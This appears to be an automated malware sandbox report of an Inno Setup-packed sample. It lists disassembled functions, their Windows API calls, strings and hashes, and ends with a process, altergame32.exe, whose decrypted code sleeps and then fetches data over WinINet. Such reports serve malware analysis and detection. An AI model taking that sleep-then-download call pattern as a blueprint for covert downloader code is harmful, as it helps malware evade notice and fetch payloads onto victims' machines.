Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ProcessToken$CloseCurrentHandleInformationOpen
String ID:
API String ID: 215268677-0
Opcode ID: b789e398f767a3985276fb9b5d86dc0112f39c9ab3e6b0e60025eb20b1cc62c1
Instruction ID: 672a73815fb629360b1666c66e1be5f1e4265ed7d7d078eef31aabbee9319095
Opcode Fuzzy Hash: b789e398f767a3985276fb9b5d86dc0112f39c9ab3e6b0e60025eb20b1cc62c1
Instruction Fuzzy Hash: 5FF037716447007FD600E6B58D81E5B73DCEB44354F04883A7E94D71C1D678DC08A726

Function 00424238 Relevance: 6.0, APIs: 4, Instructions: 26windowCOMMON

Download Yara Rule

APIs

GetLastActivePopup.USER32(?), ref: 00424244
IsWindowVisible.USER32(?), ref: 00424255
IsWindowEnabled.USER32(?), ref: 0042425F
SetForegroundWindow.USER32(?), ref: 00424269

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Window$ActiveEnabledForegroundLastPopupVisible
String ID:
API String ID: 2280970139-0
Opcode ID: d650e12b06832ca1638fa5ec8b7c167202b76d470459cb5fe6943c9b368570a5
Instruction ID: 914cdc97238bca482b123af495550876eb6964b08c7fad051248fc704dde4b2b
Opcode Fuzzy Hash: d650e12b06832ca1638fa5ec8b7c167202b76d470459cb5fe6943c9b368570a5
Instruction Fuzzy Hash: DEE0EC61706636D7AAA2767B2981A9F618D9DC53C434601ABFC04FB386DB2CDC1181BD

Function 0040626C Relevance: 6.0, APIs: 4, Instructions: 11memoryCOMMON

Download Yara Rule

APIs

GlobalHandle.KERNEL32 ref: 0040626F
GlobalUnlock.KERNEL32(00000000), ref: 00406276
GlobalReAlloc.KERNEL32(00000000,00000000), ref: 0040627B
GlobalLock.KERNEL32(00000000), ref: 00406281

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Global$AllocHandleLockUnlock
String ID:
API String ID: 2167344118-0
Opcode ID: cbc5b304f88c7a08b053d0b09bd11fc9f2d944e51c7d356257a26bde9ab667b0
Instruction ID: 5df08fd8dc2b017785a639aa93036e57be915985ffe03f20f856cac12e18577c
Opcode Fuzzy Hash: cbc5b304f88c7a08b053d0b09bd11fc9f2d944e51c7d356257a26bde9ab667b0
Instruction Fuzzy Hash: 0BB009C4810A01BEEC0473B24C0BE3F245CD88172C3904A6F3448BA183987C9C405A3A

Function 00479BDC Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 210registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(?,?,?,?,00000001,00000000,00000000,0047B44D,?,00000000,00000000,00000001,00000000,00479E79,?,00000000), ref: 00479E3D

Strings

Failed to parse "reg" constant, xrefs: 00479E44
Cannot access a 64-bit key in a "reg" constant on this version of Windows, xrefs: 00479CB1

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Close
String ID: Cannot access a 64-bit key in a "reg" constant on this version of Windows$Failed to parse "reg" constant
API String ID: 3535843008-1938159461
Opcode ID: 57bad9c4411a7bf74c6c2dc4fda695579502af0604f82715b5200038b1ffad30
Instruction ID: 5eaaab04e28549974a1eae9ca1a9eb8293ffddd3d671f6967ea537ac56f3ac17
Opcode Fuzzy Hash: 57bad9c4411a7bf74c6c2dc4fda695579502af0604f82715b5200038b1ffad30
Instruction Fuzzy Hash: 81814174E00148AFCF11DF95C881ADEBBF9AF49314F50816AE815BB391D738AE45CB98

Function 00482B48 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,00482CD2,?,00000000,00482D13,?,?,?,?,00000000,00000000,00000000,?,0046BBB9), ref: 00482B81
SetActiveWindow.USER32(?,00000000,00482CD2,?,00000000,00482D13,?,?,?,?,00000000,00000000,00000000,?,0046BBB9), ref: 00482B93

Strings

Will not restart Windows automatically., xrefs: 00482CB2

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Window$ActiveForeground
String ID: Will not restart Windows automatically.
API String ID: 307657957-4169339592
Opcode ID: 79c316d51ac1fd79a21ce3b82f97925ffc45febbfcb1c28b0a7bd5593e75f807
Instruction ID: 4958210349c6873c441c743532f51790e4d62edc104a08ffbd951144213b1fca
Opcode Fuzzy Hash: 79c316d51ac1fd79a21ce3b82f97925ffc45febbfcb1c28b0a7bd5593e75f807
Instruction Fuzzy Hash: 3541F130248240AED711FBA5EE96BBD7BE4EB55304F540CB7E8405B3A2D2FD68419B1D

Function 0046CA2C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 89COMMON

Download Yara Rule

Strings

Failed to proceed to next wizard page; aborting., xrefs: 0046CB44
Failed to proceed to next wizard page; showing wizard., xrefs: 0046CB58

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID:
String ID: Failed to proceed to next wizard page; aborting.$Failed to proceed to next wizard page; showing wizard.
API String ID: 0-1974262853
Opcode ID: dc43be0607ecfeeda5f653db28b3a442006743007c0b64165f9b1b6a3889c3b5
Instruction ID: 55592184c39aac83035684310b8d0626f6b8fe487ab2a4e85d8be474453688ef
Opcode Fuzzy Hash: dc43be0607ecfeeda5f653db28b3a442006743007c0b64165f9b1b6a3889c3b5
Instruction Fuzzy Hash: 49318D30604208DFD711EB99D98ABAA77F5EB05704F5500BBF448AB3A2D7797E40CB4A

Function 0047892C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 86registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DE14: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0048319F,?,00000001,?,?,0048319F,?,00000001,00000000), ref: 0042DE30

RegCloseKey.ADVAPI32(?,00478A12,?,?,00000001,00000000,00000000,00478A2D), ref: 004789FB

Strings

Software\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 00478986
%s\%s_is1, xrefs: 004789A4

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CloseOpen
String ID: %s\%s_is1$Software\Microsoft\Windows\CurrentVersion\Uninstall
API String ID: 47109696-1598650737
Opcode ID: 203e9cdef3f3c7d05f9cd135bcc4e7d95a8ba7022c08c76649149ec0e531cbaf
Instruction ID: 1902e23b80ae68d1a407740dd401f48df33a1007776b0bbafa0d95379bb3c34b
Opcode Fuzzy Hash: 203e9cdef3f3c7d05f9cd135bcc4e7d95a8ba7022c08c76649149ec0e531cbaf
Instruction Fuzzy Hash: AF216474B402449FDB01DBAACC556DEBBE8EB89704F91847FE408E7381DB789D018B59

Function 0045013C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 78windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,0000044B,00000000,?), ref: 004501D1
ShellExecuteA.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 00450202

Strings

open, xrefs: 004501F5

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ExecuteMessageSendShell
String ID: open
API String ID: 812272486-2758837156
Opcode ID: d3a35c962c87995e6f353dcc7f0390f1f3aba8aca929dc82464802214bb86f4f
Instruction ID: 7e6871a26ddddf45a22869efb5a26db0f3e7f81d2927c2b78b58bd6f76e5dadf
Opcode Fuzzy Hash: d3a35c962c87995e6f353dcc7f0390f1f3aba8aca929dc82464802214bb86f4f
Instruction Fuzzy Hash: EE216274E00204AFDB04DFA5C889E9EB7F8EB44705F2085BAB814E7292D7789E44CA48

Function 00455264 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

ShellExecuteEx.SHELL32(0000003C), ref: 00455300
GetLastError.KERNEL32(0000003C,00000000,00455349,?,?,?), ref: 00455311

Part of subcall function 0042D8BC: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0042D8CF

Strings

<, xrefs: 004552BA

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: DirectoryErrorExecuteLastShellSystem
String ID: <
API String ID: 893404051-4251816714
Opcode ID: 9439c815502d76cae9d9bfb6546d04338fea16b38e0c711b75209bdd8176d4bf
Instruction ID: ab6e9011ac2a47c3b5942fb44236b8cd8890e3b7caf9c3a2037be21c94c6989b
Opcode Fuzzy Hash: 9439c815502d76cae9d9bfb6546d04338fea16b38e0c711b75209bdd8176d4bf
Instruction Fuzzy Hash: 3F212370600609AFDB10EF65D8926EE7BE8AF48355F90403AFC44E7281D7789E45CB98

Function 00402584 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.KERNEL32(0049B420,00000000,)), ref: 004025C7
RtlLeaveCriticalSection.KERNEL32(0049B420,0040263D), ref: 00402630

Part of subcall function 004019CC: RtlInitializeCriticalSection.KERNEL32(0049B420,00000000,00401A82,?,?,0040222E,02277B58,00001370,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019E2
Part of subcall function 004019CC: RtlEnterCriticalSection.KERNEL32(0049B420,0049B420,00000000,00401A82,?,?,0040222E,02277B58,00001370,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019F5
Part of subcall function 004019CC: LocalAlloc.KERNEL32(00000000,00000FF8,0049B420,00000000,00401A82,?,?,0040222E,02277B58,00001370,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A1F
Part of subcall function 004019CC: RtlLeaveCriticalSection.KERNEL32(0049B420,00401A89,00000000,00401A82,?,?,0040222E,02277B58,00001370,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A7C

Strings

), xrefs: 004025AE

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocInitializeLocal
String ID: )
API String ID: 2227675388-1084416617
Opcode ID: 09cf32ac568926239da630a480ec85c7fe0e44c3c7351229851fbcf18ccaddb2
Instruction ID: 77bd95ba853a3ee3b707a504883d316aad751082ca23ba06a0d8aa2ba3da16af
Opcode Fuzzy Hash: 09cf32ac568926239da630a480ec85c7fe0e44c3c7351229851fbcf18ccaddb2
Instruction Fuzzy Hash: E11104317042046FEB15AB796F5962B6AD4D795758B24087FF404F33D2DABD8C02929C

Function 0049603A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 66COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000097), ref: 00496075

Strings

/INITPROCWND=$%x , xrefs: 004960A0
@, xrefs: 00496040

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Window
String ID: /INITPROCWND=$%x $@
API String ID: 2353593579-4169826103
Opcode ID: ecbf6afcec96af61fcb478e5b0f8d10ed6ae26bf43725b19494f09826110d62b
Instruction ID: 17582354874f3a564912cfd2224966d9f48ebc88dda7ed38b5aba0a92b935dc2
Opcode Fuzzy Hash: ecbf6afcec96af61fcb478e5b0f8d10ed6ae26bf43725b19494f09826110d62b
Instruction Fuzzy Hash: 1111B731A042448FDF01DBA4D892BAE7FE8EB48314F51447BE504E7282D73C9905CB5C

Function 0044740C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 00403CA4: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 00403CDE
Part of subcall function 00403CA4: SysAllocStringLen.OLEAUT32(?,00000000), ref: 00403CE9

SysFreeString.OLEAUT32(?), ref: 004474BE

Strings

NIL Interface Exception, xrefs: 00447460
Unknown Method, xrefs: 00447497

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: String$AllocByteCharFreeMultiWide
String ID: NIL Interface Exception$Unknown Method
API String ID: 3952431833-1023667238
Opcode ID: 456d6725a948a64f68b75857ecf673ecd15b77dd67b08c070dfb7a2d7b0a1602
Instruction ID: e495528c603fed7e49a6c7636a2d67f8de45625ce5c80b81863372b855da2a7d
Opcode Fuzzy Hash: 456d6725a948a64f68b75857ecf673ecd15b77dd67b08c070dfb7a2d7b0a1602
Instruction Fuzzy Hash: 7A11D670604208AFEB14DFA58952A6EBFBCEB08304F91447EF504E7282D7789D05CB69

Function 004958AC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,000000FC,?,00495974,?,00495968,00000000,0049594F), ref: 0049591A
CloseHandle.KERNEL32(004959B4,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,000000FC,?,00495974,?,00495968,00000000), ref: 00495931

Part of subcall function 00495804: GetLastError.KERNEL32(00000000,0049589C,?,?,?,?), ref: 00495828

Strings

<cI, xrefs: 004958E5, 004958F4

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CloseCreateErrorHandleLastProcess
String ID: <cI
API String ID: 3798668922-2480932022
Opcode ID: 34c6542742eff2dadab3d088a7a61d5c053afa182c64a6caa50429fa903ca566
Instruction ID: 6201355901f458c0f36557428e85d419ca31de49550c26c5d668688d9bb1e683
Opcode Fuzzy Hash: 34c6542742eff2dadab3d088a7a61d5c053afa182c64a6caa50429fa903ca566
Instruction Fuzzy Hash: 660161B1644648AFEF05DBA2DC42FAEBBACDF48714F61003BF504E7291D6785E05CA68

Function 0042DD5C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.ADVAPI32(?,Inno Setup: No Icons,00000000,00000000,00000000,00000000), ref: 0042DD70
RegEnumValueA.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,Inno Setup: No Icons,00000000,00000000,00000000), ref: 0042DDB0

Strings

Inno Setup: No Icons, xrefs: 0042DD6E

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Value$EnumQuery
String ID: Inno Setup: No Icons
API String ID: 1576479698-2016326496
Opcode ID: 388e812ecd06e97e1b31d188035ef8f8b81e1277dc232162d6a0b94f1a497a96
Instruction ID: 0d60c2ceabc561baab214a4f8badfae1c51fae2703c03b7062d0178a0b9483fa
Opcode Fuzzy Hash: 388e812ecd06e97e1b31d188035ef8f8b81e1277dc232162d6a0b94f1a497a96
Instruction Fuzzy Hash: C3012632B55B307AFB3085256C42F7B568CCF46B60F68003BF981EA2C1D6989C04936E

Function 00497510 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

Part of subcall function 0047C8B0: FreeLibrary.KERNEL32(6FBF0000,00480FF3), ref: 0047C8C6

Part of subcall function 0047C580: GetTickCount.KERNEL32 ref: 0047C5CA

Part of subcall function 004570B4: SendMessageA.USER32(00000000,00000B01,00000000,00000000), ref: 004570D3

GetCurrentProcess.KERNEL32(00000001,?,?,?,?,00497E67), ref: 00497565
TerminateProcess.KERNEL32(00000000,00000001,?,?,?,?,00497E67), ref: 0049756B

Strings

Detected restart. Removing temporary directory., xrefs: 0049751F

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Process$CountCurrentFreeLibraryMessageSendTerminateTick
String ID: Detected restart. Removing temporary directory.
API String ID: 1717587489-3199836293
Opcode ID: 10733e8d0c2fcbcf81e8bc1e4ca83bd3e168a9b9b9b758ab357db50908ba3c86
Instruction ID: 3a6ec644de21484b963019a16799c2105d01f9358526232ca3662f3e81dafe78
Opcode Fuzzy Hash: 10733e8d0c2fcbcf81e8bc1e4ca83bd3e168a9b9b9b758ab357db50908ba3c86
Instruction Fuzzy Hash: C5E0E57121C6007EDE4177B6BC6295B3F9CD745778752483BF40881952E52D5810C6BD

Function 00403344 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,004980C2), ref: 0040334B
GetCommandLineA.KERNEL32(00000000,004980C2), ref: 00403356

Strings

h6W, xrefs: 0040335B

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CommandHandleLineModule
String ID: h6W
API String ID: 2123368496-3314947752
Opcode ID: 48b45b62bccbc2a8e5daf731e4078a894a727d510552ebcfe8024faf6b9ab272
Instruction ID: ff8fa06d391bd0b31f892a344b3e95d40f530220570fde7b1ba7fad45aeb04f1
Opcode Fuzzy Hash: 48b45b62bccbc2a8e5daf731e4078a894a727d510552ebcfe8024faf6b9ab272
Instruction Fuzzy Hash: 45C002609013058AD754AF7579467162A94D751349F80447FF114BA3E1D77C82055BDD

Function 00455648 Relevance: 5.0, APIs: 4, Instructions: 45sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?), ref: 00455667
Sleep.KERNEL32(?), ref: 00455677
GetLastError.KERNEL32 ref: 0045568A
GetLastError.KERNEL32 ref: 00455694

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ErrorLastSleep
String ID:
API String ID: 1458359878-0
Opcode ID: defff66af4325d3c28b570447d2f47c0b7c8b64933ddb782de5565f815c6b007
Instruction ID: de14e8d07cc4d1fec6b94f0f99926b65e7014e25a7505cf550c56fab82152177
Opcode Fuzzy Hash: defff66af4325d3c28b570447d2f47c0b7c8b64933ddb782de5565f815c6b007
Instruction Fuzzy Hash: 91F0F672640954978A20B5DB89A1A3F724CDA94365760012BEC0CD7203C579CC494BAD

Analysis Process: altergame32.exePID: 2488, Parent PID: 6916COMMON

Execution Graph

Execution Coverage:	2.7%
Dynamic/Decrypted Code Coverage:	83.4%
Signature Coverage:	13.9%
Total number of Nodes:	1034
Total number of Limit Nodes:	35

Executed Functions

Function 02E472AB Relevance: 74.2, APIs: 29, Strings: 13, Instructions: 659
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(0000EA60), ref: 02E46708
RtlEnterCriticalSection.NTDLL(02E771E0), ref: 02E46713
RtlLeaveCriticalSection.NTDLL(02E771E0), ref: 02E46724
InternetOpenA.WININET(?), ref: 02E472B5
InternetSetOptionA.WININET(00000000,00000002,?), ref: 02E472DD
InternetSetOptionA.WININET(00000000,00000005,00001388,00000004), ref: 02E472F5
InternetSetOptionA.WININET(00000000,00000006,00001388,00000004), ref: 02E4730D
InternetOpenUrlA.WININET(00000000,?,?,000000FF,04000200), ref: 02E47336
InternetReadFile.WININET(00000000,?,00001000,?), ref: 02E47358
InternetCloseHandle.WININET(00000000), ref: 02E47378
InternetCloseHandle.WININET(00000000), ref: 02E47383
RtlEnterCriticalSection.NTDLL(02E771E0), ref: 02E473EE
RtlLeaveCriticalSection.NTDLL(02E771E0), ref: 02E473FF
_malloc.LIBCMT ref: 02E47498
RtlEnterCriticalSection.NTDLL(02E771E0), ref: 02E474AA
